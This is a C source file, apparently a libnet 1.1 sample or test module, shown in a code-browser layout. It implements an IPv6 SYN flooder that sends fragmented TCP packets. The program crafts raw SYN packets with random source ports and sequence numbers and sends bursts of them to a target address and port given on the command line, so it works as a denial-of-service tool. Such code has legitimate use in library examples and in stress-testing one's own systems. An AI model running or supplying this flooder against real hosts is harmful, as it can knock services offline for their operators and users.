|
Packit Service |
b25606 |
/*
|
|
Packit Service |
b25606 |
* $Id: synflood6_frag.c,v 1.1 2004/01/03 20:31:01 mike Exp $
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
* Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
|
|
Packit Service |
b25606 |
* SYN flooder rewritten for no good reason. Again as libnet test module.
|
|
Packit Service |
b25606 |
* Again for libnet 1.1.
|
|
Packit Service |
b25606 |
* All rights reserved.
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
* Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
* Redistribution and use in source and binary forms, with or without
|
|
Packit Service |
b25606 |
* modification, are permitted provided that the following conditions
|
|
Packit Service |
b25606 |
* are met:
|
|
Packit Service |
b25606 |
* 1. Redistributions of source code must retain the above copyright
|
|
Packit Service |
b25606 |
* notice, this list of conditions and the following disclaimer.
|
|
Packit Service |
b25606 |
* 2. Redistributions in binary form must reproduce the above copyright
|
|
Packit Service |
b25606 |
* notice, this list of conditions and the following disclaimer in the
|
|
Packit Service |
b25606 |
* documentation and/or other materials provided with the distribution.
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
|
Packit Service |
b25606 |
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
|
Packit Service |
b25606 |
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
|
Packit Service |
b25606 |
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
|
Packit Service |
b25606 |
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
|
Packit Service |
b25606 |
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
|
Packit Service |
b25606 |
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
|
Packit Service |
b25606 |
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
|
Packit Service |
b25606 |
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
|
Packit Service |
b25606 |
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
|
Packit Service |
b25606 |
* SUCH DAMAGE.
|
|
Packit Service |
b25606 |
*
|
|
Packit Service |
b25606 |
*/
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
#if (HAVE_CONFIG_H)
|
|
Packit Service |
b25606 |
#include "../include/config.h"
|
|
Packit Service |
b25606 |
#endif
|
|
Packit Service |
b25606 |
#include "./libnet_test.h"
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
struct t_pack
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
struct libnet_ipv6_hdr ip;
|
|
Packit Service |
b25606 |
struct libnet_tcp_hdr tcp;
|
|
Packit Service |
b25606 |
};
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
int
|
|
Packit Service |
b25606 |
main(int argc, char **argv)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
struct libnet_in6_addr dst_ip;
|
|
Packit Service |
b25606 |
struct libnet_in6_addr src_ip;
|
|
Packit Service |
b25606 |
u_short dst_prt = 0;
|
|
Packit Service |
b25606 |
u_short src_prt = 0;
|
|
Packit Service |
b25606 |
libnet_t *l;
|
|
Packit Service |
b25606 |
libnet_ptag_t tcp, ip, ip_frag;
|
|
Packit Service |
b25606 |
char *cp;
|
|
Packit Service |
b25606 |
char errbuf[LIBNET_ERRBUF_SIZE];
|
|
Packit Service |
b25606 |
int i, j, c, packet_amt, burst_int, burst_amt;
|
|
Packit Service |
b25606 |
char srcname[100], dstname[100];
|
|
Packit Service |
b25606 |
uint8_t payload[56];
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
packet_amt = 0;
|
|
Packit Service |
b25606 |
burst_int = 0;
|
|
Packit Service |
b25606 |
burst_amt = 1;
|
|
Packit Service |
b25606 |
tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER;
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n");
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
l = libnet_init(
|
|
Packit Service |
b25606 |
LIBNET_RAW6, /* injection type */
|
|
Packit Service |
b25606 |
NULL, /* network interface */
|
|
Packit Service |
b25606 |
errbuf); /* error buffer */
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
if (l == NULL)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "libnet_init() failed: %s", errbuf);
|
|
Packit Service |
b25606 |
exit(EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
switch (c)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
case 't':
|
|
Packit Service |
b25606 |
if (!(cp = strrchr(optarg, '/')))
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
usage(argv[0]);
|
|
Packit Service |
b25606 |
exit(EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
*cp++ = 0;
|
|
Packit Service |
b25606 |
dst_prt = (u_short)atoi(cp);
|
|
Packit Service |
b25606 |
dst_ip = libnet_name2addr6(l, optarg, 1);
|
|
Packit Service |
b25606 |
if (strncmp((char*)&dst_ip,
|
|
Packit Service |
b25606 |
(char*)&in6addr_error,sizeof(in6addr_error))==0)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Bad IPv6 address: %s\n", optarg);
|
|
Packit Service |
b25606 |
exit(EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
break;
|
|
Packit Service |
b25606 |
case 'a':
|
|
Packit Service |
b25606 |
packet_amt = atoi(optarg);
|
|
Packit Service |
b25606 |
break;
|
|
Packit Service |
b25606 |
case 'i':
|
|
Packit Service |
b25606 |
burst_int = atoi(optarg);
|
|
Packit Service |
b25606 |
break;
|
|
Packit Service |
b25606 |
case 'b':
|
|
Packit Service |
b25606 |
burst_amt = atoi(optarg);
|
|
Packit Service |
b25606 |
break;
|
|
Packit Service |
b25606 |
default:
|
|
Packit Service |
b25606 |
usage(argv[0]);
|
|
Packit Service |
b25606 |
exit(EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
|
|
Packit Service |
b25606 |
/* src_ip = libnet_name2addr6(l,
|
|
Packit Service |
b25606 |
"3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
|
|
Packit Service |
b25606 |
dst_prt = 113;
|
|
Packit Service |
b25606 |
dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
|
|
Packit Service |
b25606 |
packet_amt = 1;
|
|
Packit Service |
b25606 |
*/
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
if (!dst_prt || strncmp((char*)&dst_ip,
|
|
Packit Service |
b25606 |
(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
usage(argv[0]);
|
|
Packit Service |
b25606 |
exit(EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
libnet_seed_prand(l);
|
|
Packit Service |
b25606 |
libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname));
|
|
Packit Service |
b25606 |
libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname));
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
for(; burst_amt--;)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
for (i = 0; i < packet_amt; i++)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26));
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
tcp = libnet_build_tcp(
|
|
Packit Service |
b25606 |
src_prt = libnet_get_prand(LIBNET_PRu16),
|
|
Packit Service |
b25606 |
dst_prt,
|
|
Packit Service |
b25606 |
libnet_get_prand(LIBNET_PRu32),
|
|
Packit Service |
b25606 |
libnet_get_prand(LIBNET_PRu32),
|
|
Packit Service |
b25606 |
TH_SYN,
|
|
Packit Service |
b25606 |
libnet_get_prand(LIBNET_PRu16),
|
|
Packit Service |
b25606 |
0,
|
|
Packit Service |
b25606 |
0,
|
|
Packit Service |
b25606 |
LIBNET_TCP_H,
|
|
Packit Service |
b25606 |
NULL,
|
|
Packit Service |
b25606 |
0,
|
|
Packit Service |
b25606 |
l,
|
|
Packit Service |
b25606 |
tcp);
|
|
Packit Service |
b25606 |
if (tcp == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Can't build or modify TCP header: %s\n",
|
|
Packit Service |
b25606 |
libnet_geterror(l));
|
|
Packit Service |
b25606 |
return (EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
ip_frag = libnet_build_ipv6_frag(
|
|
Packit Service |
b25606 |
IPPROTO_TCP, /* next header */
|
|
Packit Service |
b25606 |
0, /* reserved */
|
|
Packit Service |
b25606 |
0, /* frag bits */
|
|
Packit Service |
b25606 |
1, /* ip id */
|
|
Packit Service |
b25606 |
NULL,
|
|
Packit Service |
b25606 |
0,
|
|
Packit Service |
b25606 |
l,
|
|
Packit Service |
b25606 |
ip_frag);
|
|
Packit Service |
b25606 |
if (ip_frag == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Can't build or modify TCP header: %s\n",
|
|
Packit Service |
b25606 |
libnet_geterror(l));
|
|
Packit Service |
b25606 |
return (EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
ip = libnet_build_ipv6(
|
|
Packit Service |
b25606 |
0, 0,
|
|
Packit Service |
b25606 |
LIBNET_TCP_H,
|
|
Packit Service |
b25606 |
IPPROTO_TCP,
|
|
Packit Service |
b25606 |
64,
|
|
Packit Service |
b25606 |
src_ip,
|
|
Packit Service |
b25606 |
dst_ip,
|
|
Packit Service |
b25606 |
NULL,
|
|
Packit Service |
b25606 |
0,
|
|
Packit Service |
b25606 |
l,
|
|
Packit Service |
b25606 |
ip);
|
|
Packit Service |
b25606 |
if (ip == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "Can't build or modify TCP header: %s\n",
|
|
Packit Service |
b25606 |
libnet_geterror(l));
|
|
Packit Service |
b25606 |
return (EXIT_FAILURE);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
printf("%15s/%5d -> %15s/%5d\n",
|
|
Packit Service |
b25606 |
srcname,
|
|
Packit Service |
b25606 |
ntohs(src_prt),
|
|
Packit Service |
b25606 |
dstname,
|
|
Packit Service |
b25606 |
dst_prt);
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
c = libnet_write(l);
|
|
Packit Service |
b25606 |
if (c == -1)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
#if !(__WIN32__)
|
|
Packit Service |
b25606 |
usleep(250);
|
|
Packit Service |
b25606 |
#else
|
|
Packit Service |
b25606 |
Sleep(250);
|
|
Packit Service |
b25606 |
#endif
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
#if !(__WIN32__)
|
|
Packit Service |
b25606 |
sleep(burst_int);
|
|
Packit Service |
b25606 |
#else
|
|
Packit Service |
b25606 |
Sleep(burst_int * 1000);
|
|
Packit Service |
b25606 |
#endif
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
exit(EXIT_SUCCESS);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
void
|
|
Packit Service |
b25606 |
usage(char *nomenclature)
|
|
Packit Service |
b25606 |
{
|
|
Packit Service |
b25606 |
fprintf(stderr,
|
|
Packit Service |
b25606 |
"\n\nusage: %s -t -a [-i -b]\n"
|
|
Packit Service |
b25606 |
"\t-t target, (ip6:address/port, e.g. ::1/23)\n"
|
|
Packit Service |
b25606 |
"\t-a number of packets to send per burst\n"
|
|
Packit Service |
b25606 |
"\t-i packet burst sending interval (defaults to 0)\n"
|
|
Packit Service |
b25606 |
"\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
|
|
Packit Service |
b25606 |
}
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
|
|
Packit Service |
b25606 |
/* EOF */
|